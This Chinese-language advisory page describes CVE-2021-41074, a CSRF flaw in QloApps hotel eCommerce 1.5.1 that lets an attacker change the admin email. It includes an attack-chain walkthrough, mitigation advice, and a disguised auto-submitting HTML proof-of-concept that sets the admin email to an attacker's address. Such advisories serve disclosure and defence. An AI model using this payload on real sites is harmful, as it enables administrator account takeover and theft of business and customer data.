IPBUF安全漏洞报告
English
CVE-2021-41074 CVSS 5.4 中危

CVE-2021-41074 QloApps hotel eCommerce CSRF漏洞可修改管理员邮箱

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2021-41074
漏洞类型
CSRF
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
QloApps hotel eCommerce 1.5.1

相关标签

CSRFQloApps酒店管理系统身份认证绕过跨站请求伪造CVE-2021-41074

漏洞概述

CVE-2021-41074是QloApps hotel eCommerce 1.5.1版本中的一个跨站请求伪造(CSRF)漏洞。该漏洞存在于index.php文件中,攻击者可以通过诱骗已登录的管理员访问恶意HTML页面,利用管理员的会话凭证自动执行管理员邮箱修改操作。由于QloApps是一款开源的酒店管理系统,广泛应用于酒店预订和电商场景,该漏洞可能影响大量使用该系统的酒店企业。攻击成功后,攻击者可以接收系统通知邮件,进一步进行密码重置等后续攻击,最终可能完全接管管理员账户,对酒店业务数据和客户隐私造成严重威胁。

技术细节

该CSRF漏洞源于QloApps hotel eCommerce 1.5.1的index.php文件中缺少有效的CSRF令牌验证机制。攻击者构造一个包含恶意表单的HTML页面,当管理员访问该页面时,浏览器会自动向目标服务器的admin配置接口发送POST请求。由于浏览器会自动携带目标域的Cookie信息,服务器无法区分该请求是来自合法操作还是恶意页面。攻击者将管理员邮箱修改为自己控制的邮箱地址,从而接收系统敏感通知。攻击过程利用了Web应用对用户请求来源验证不足的缺陷,属于典型的CSRF攻击模式。防御措施需要在关键操作点添加随机生成的CSRF Token,并在服务端验证其有效性。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意表单的HTML页面,表单自动提交到QloApps管理后台的邮箱修改接口
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或恶意网站诱骗已登录的管理员访问该HTML页面
STEP 3
步骤3
管理员浏览器自动携带有效Cookie向目标服务器发送POST请求,修改管理员邮箱为攻击者控制的邮箱
STEP 4
步骤4
服务器处理请求并更新数据库中的管理员邮箱,由于缺少CSRF验证,请求被成功执行
STEP 5
步骤5
攻击者利用新邮箱接收系统通知邮件,发起密码重置请求获取管理员账户控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2021-41074 --> <!-- This PoC demonstrates how an attacker can change admin email --> <!DOCTYPE html> <html> <head> <title>Hotel Booking System - Admin Update</title> </head> <body> <h1>Please wait while we process your request...</h1> <form action="http://target-site/admin/index.php" method="POST" id="csrf-form"> <!-- Hidden fields to modify admin email --> <input type="hidden" name="controller" value="AdminController"> <input type="hidden" name="action" value="updateAdmin"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="id_admin" value="1"> <input type="hidden" name="submitAddemployee" value="1"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrf-form').submit(); </script> </body> </html>

影响范围

QloApps hotel eCommerce 1.5.1

防御指南

临时缓解措施
临时缓解措施包括:为管理员浏览器启用安全插件防止CSRF攻击;配置Web应用防火墙(WAF)规则检测异常的账户修改请求;限制管理后台的访问来源IP;启用双因素认证增强管理员账户安全性;监控和记录管理员账户的变更日志以便及时发现异常操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表